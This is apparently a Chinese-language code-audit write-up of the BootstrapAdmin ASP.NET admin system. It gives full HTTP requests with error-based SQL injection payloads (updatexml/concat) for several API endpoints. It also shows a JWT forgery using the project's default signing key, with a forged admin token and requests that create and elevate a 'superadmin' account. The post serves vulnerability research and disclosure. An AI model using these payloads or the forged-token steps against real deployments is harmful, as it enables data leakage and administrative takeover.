【后台】查询用户访问分页数据接口存在SQL注入

权限:后台普通用户权限

漏洞利用

http://localhost:50852/api/Traces

http://localhost:50852/api/Traces?offset=0&limit=20&OperateTimeStart=2023-05-06&OperateTimeEnd=&AccessIP=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1,

请求包:

GET /api/Traces?offset=0&limit=20&OperateTimeStart=2023-05-06&OperateTimeEnd=&AccessIP=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1, HTTP/1.1
Host: localhost:50852
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:50852/Admin/Traces
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1
Connection: close


漏洞定位

BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Trace.cs

【后台】查询程序异常接口存在SQL注入

权限:后台普通用户权限

漏洞利用

http://localhost:50852/api/Exceptions

http://localhost:50852/api/Exceptions?&offset=0&limit=20&StartTime=&EndTime=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1,

请求包:

GET /api/Exceptions?&offset=0&limit=20&StartTime=&EndTime=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1, HTTP/1.1
Host: localhost:50852
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:50852/Admin/Exceptions
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1
Connection: close


漏洞定位

BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Exceptions.cs

【后台】删除用户接口存在SQL注入

权限:后台管理员用户权限

漏洞利用

http://localhost:50852/api/Users

请求包:

DELETE /api/Users HTTP/1.1
Host: localhost:50852
Content-Length: 47
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:50852
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:50852/Admin/Users
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1
Connection: close

["updatexml(1,concat(0x7e,database(),0x7e),3)"]

漏洞定位

BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\User.cs

【后台】删除角色表接口存在SQL注入

权限:后台管理员用户权限

漏洞利用

http://localhost:50852/api/Roles

请求包:

DELETE /api/Roles HTTP/1.1
Host: localhost:50852
Content-Length: 47
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:50852
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:50852/Admin/Roles
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1
Connection: close

["updatexml(1,concat(0x7e,database(),0x7e),3)"]

漏洞定位

BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Role.cs

【后台】删除群组信息存在SQL注入

权限:后台管理员用户权限

漏洞利用

http://localhost:50852/api/Groups

请求包:

DELETE /api/Groups HTTP/1.1
Host: localhost:50852
Content-Length: 47
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:50852
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:50852/Admin/Groups
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1
Connection: close

["updatexml(1,concat(0x7e,database(),0x7e),3)"]

漏洞定位

BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Group.cs

【后台】删除字典中的数据存在SQL注入

权限:后台管理员用户权限

漏洞利用

http://localhost:50852/api/Dicts

请求包:

DELETE /api/Dicts HTTP/1.1
Host: localhost:50852
Content-Length: 47
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:50852
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:50852/Admin/Dicts
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1
Connection: close

["updatexml(1,concat(0x7e,database(),0x7e),3)"]

漏洞定位

BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Dict.cs

【前台】任意JWT伪造

漏洞利用

目前版本是不允许我们未授权访问该接口的(在旧版本是可以的),该接口用来查询当前用户情况。

http://localhost:50852/api/Users?search=&sort=RegisterTime&order=desc&offset=0&limit=20&name=&displayName=&_=1683423761467

默认的 SecurityKey 为 BootstrapAdmin-V1.1

我们可以到https://jwt.io/伪造Cookie,填入SecurityKey并修改Data里面的 exp(过期时间)即可。

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IkFkbWluIiwibmJmIjoxNjgzMzgzNTA1LCJleHAiOjE2OTMzODM1MDUsImlhdCI6MTY4MzM4MzUwNSwiaXNzIjoiQkEiLCJhdWQiOiJhcGkifQ.DvpSS-mW4nmKaTf-NFMQHgWO2XhAP5SFX-7Ec2uV3nQ

请求时携带这个请求头再次访问即可获取用户信息,此时我们没有登录任何账户。

请求包:

GET /api/Users?search=&sort=RegisterTime&order=desc&offset=0&limit=20&name=&displayName=&_=1683423761467 HTTP/1.1
Host: localhost:50852
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:50852/Admin/Users
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IkFkbWluIiwibmJmIjoxNjgzMzgzNTA1LCJleHAiOjE2OTMzODM1MDUsImlhdCI6MTY4MzM4MzUwNSwiaXNzIjoiQkEiLCJhdWQiOiJhcGkifQ.DvpSS-mW4nmKaTf-NFMQHgWO2XhAP5SFX-7Ec2uV3nQ
Connection: close


使用同样的手法,创建用户

请求包:

POST /api/Users HTTP/1.1
Host: localhost:50852
Content-Length: 103
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:50852
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:50852/Admin/Users
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IkFkbWluIiwibmJmIjoxNjgzMzgzNTA1LCJleHAiOjE2OTMzODM1MDUsImlhdCI6MTY4MzM4MzUwNSwiaXNzIjoiQkEiLCJhdWQiOiJhcGkifQ.DvpSS-mW4nmKaTf-NFMQHgWO2XhAP5SFX-7Ec2uV3nQ
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: close

{"Id":"","UserName":"superadmin","Password":"123456","DisplayName":"superadmin","NewPassword":"123456"}

再次请求就可以看到账户创建成功了。

然后给这个账户增加管理员权限,同样使用JWT验证。

请求包:

PUT /api/Users/9?type=role HTTP/1.1
Host: localhost:50852
Content-Length: 5
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:50852
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:50852/Admin/Users
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IkFkbWluIiwibmJmIjoxNjgzMzgzNTA1LCJleHAiOjE2OTMzODM1MDUsImlhdCI6MTY4MzM4MzUwNSwiaXNzIjoiQkEiLCJhdWQiOiJhcGkifQ.DvpSS-mW4nmKaTf-NFMQHgWO2XhAP5SFX-7Ec2uV3nQ
Cookie:
Connection: close

["1"]

这个时候我们使用账号superadmin/123456登录就是管理员用户了。

漏洞定位

BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Startup.cs

在这个文件里添加了一个UseBootstrapAdminAuthentication的中间件,我们所有的请求会先进入到该中间件。

反编译bootstrap.security.mvc\6.0.0\lib\net5.0\Bootstrap.Security.Mvc.dll

跟进AuthenticationExtensions类,可以看到UseBootstrapAdminAuthentication方法

首先builder.UseAuthentication();启用身份验证中间件。在 ASP.NET Core 应用程序中,身份验证中间件处理身份验证和票据。它负责验证请求中的凭据并设置当前用户的身份。启用身份验证后,可以使用 HttpContext.User 属性访问当前用户的身份信息。通常会在 Configure 方法中调用 UseAuthentication(),以确保在请求管道中使用身份验证中间件。

其次builder.Usebuilder.UseWhen都是 ASP.NET Core 应用程序中用于修改请求管道的方法,但是它们的使用场景有所不同。

builder.Use 用于向请求管道中添加中间件。它可以将多个中间件串连在一起,按照添加的顺序一个接一个地处理请求,从而实现请求处理流程的定制。例如,在调用控制器方法之前可以添加一个身份验证中间件,以确保只有已经通过身份验证的用户才能访问受保护的资源。builder.Use 返回一个 IApplicationBuilder 实例,因此可以在一个 Configure 方法中多次调用 builder.Use,以添加所需的中间件。

builder.UseWhen 则用于根据一定的条件向请求管道中添加中间件。它接受一个布尔表达式作为参数,只有当表达式的结果为 true 时才会添加中间件。这个功能在某些场景下很有用,例如,可以根据请求的路径来决定是否启用某个特定的中间件。builder.UseWhen 返回一个 IApplicationBuilder 实例,也可以嵌套在另一个 builder.UseWhen 中,以实现复杂的条件分支逻辑。

我们先查看特殊情况,也就是builder.UseWhen。这里的条件是请求路径中包含/api时会应用下面的中间件。

app.Use(async delegate (HttpContext context, Func<Task> next)
{
IIdentity? identity = context.User.Identity;
if (identity != null && !identity!.IsAuthenticated)
{
JwtAuthentication(context);
}

if ((context.User.Identity?.IsAuthenticated ?? false) && !string.IsNullOrEmpty(context.User.Identity!.Name))
{
AddRoles(context.User, RetrieveRolesByUserName(context.User.Identity!.Name), new ClaimsIdentity("Bearer"));
}

await next();
});

identity不存在时,即 Cookie 中的.AspNetCore.Cookies不存在时使用JwtAuthentication,我们继续跟进该方法。

JwtAuthenticationAuthenticationExtensions类。观察ValidateToken,这是JWT的验证方法,校验了三个参数,分别是签名密钥以及令牌的颁发者 Issuer 和 Audience。如果验证成功,则返回ClaimsPrincipal对象表示令牌中包含的声明。

需要校验的内容都在:

BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\appsettings.json

"TokenValidateOption": {
"Issuer": "BA",
"Audience": "api",
"Expires": 5,
"SecurityKey": "BootstrapAdmin-V1.1"
}

我们得到了这些参数就可以进行JWT伪造了。

那么我们经过了JwtAuthentication此时context.User已经是claimsPrincipal对象了。第二个判断判断了用户是否已经认证(authenticated)以及用户的身份是否存在(name是否为空)。然后进入到AddRoles方法中去。

ClaimsPrincipal 对象是 ASP.NET Core Identity 框架中用于表示用户上下文认证信息的对象。它包含了一个或多个 Claim,每个 Claim 包含了一些有关用户身份、角色或标识的信息。

这里添加了role以便后续的身份校验。其中的roles的值为

RetrieveRolesByUserName(context.User.Identity!.Name)

通过用户名查询对于的角色列表,然后通过遍历添加Claim

那么什么时候会用到role呢?我们接着往下看。

BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Startup.cs

在这个文件里给 Controllers 添加了BootstrapAdmin 后台权限认证过滤器

反编译bootstrap.security.mvc\6.0.0\lib\net5.0\Bootstrap.Security.Mvc.dll

跟进 BootstrapAdminAuthorizeFilter类可以看到OnAuthorizationAsync,这方个法适用于控制器和 Razor 页面等需要进行授权检查的请求。

context.Request.Path 是一个属性,它返回一个 PathString 对象,代表请求 URL 的路径部分。PathString 对象是一个不可变类型,用于存储 URL 路径。PathString 的值形式如下所示:

/Controller/Action/ID

其中,/Controller 是控制器的名称,/Action 是控制器的方法名,/ID 是可选的参数,用于标识要处理的特定资源。在 ASP.NET Core 应用程序中,PathString 对象用于匹配路由模板,以确定要执行哪个控制器方法。可以使用 context.Request.Path.ToString() 方法获取 PathString 对象的字符串表示形式,以便在日志或调试信息中使用。

这里做了两个判断:

  1. 查询判断了当前请求是否需要进行授权检查。如果当前请求标记为允许匿名访问,或者是一个 Razor 页面并且该页面已配置为匿名,或者当前用户拥有 Administrators 角色,则该请求无需进行授权检查,并允许请求通过。
  2. 通过调用 AuthenticationExtensions.RetrieveRolesByUrl 方法获取当前 URL 具有的角色集合,判断当前用户的角色是否是集合中的一个。

通过后即可访问控制器方法。

0x05 后语

在本篇文章中可以看到,我们注重了文件IO操作、SQL ORM操作、权限校验、XSS漏洞。

测试SQL注入时,ORM使用了PetaPoco并且运用了Linq对用户输入的内容进行转义,尽管使用@0方式很安全,但在Order By处不能转义。这是老生常谈了。开发人员没有针对性的过滤导致漏洞的产生。

测试XSS时,开发者使用了Razor Pages,在 Razor 视图中,默认情况下会进行 HTML 实体编码。可尽管严防死守,还是避免不了使用@Url.Content,没有针对javascript:这样的请求路径进行过滤。除此之外,还有在页面中使用html(text)函数输出的情况,只不过我测试时发现大部分无法有效利用,并且使用了$.safeHtml()函数所以仅列出了一个前台反射型XSS。

测试权限校验时显示观察了带有[AllowAnonymous]标签的类和方法,后面才是根据Startup.cs查看了过滤器和中间件,并根据开发者提供的Bootstrap.Security.Mvc进行了审计。

总而言之,无论是使用什么语言开发都要按照标准进行,我们代码审计时更加需要细心和多一些耐心。

作者

en0th

发布于

2024-04-30

更新于

2024-04-30

许可协议

评论